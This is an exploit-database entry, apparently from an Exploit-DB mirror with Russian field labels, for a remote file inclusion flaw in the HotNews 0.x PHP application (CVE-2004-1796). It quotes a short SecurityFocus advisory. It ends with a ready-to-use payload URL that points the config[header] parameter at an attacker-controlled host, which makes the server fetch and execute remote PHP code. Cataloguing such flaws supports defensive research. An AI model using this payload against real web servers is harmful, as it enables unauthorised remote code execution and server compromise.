Exploit HotNews 0.x - 'hotnews-engine.inc.php3?config[header]' Remote File Inclusion

[Exploiter]

EDB-ID

23517

Проверка EDB

1. Пройдено

Автор

OFFICERRR

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2004-1796

Дата публикации

2004-01-05

source: https://www.securityfocus.com/bid/9357/info

HotNews is prone to multiple file include vulnerabilities. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.

http://www.example.com/includes/hotnews-engine.inc.php3?config[header]=http://[evil host]/[evil file]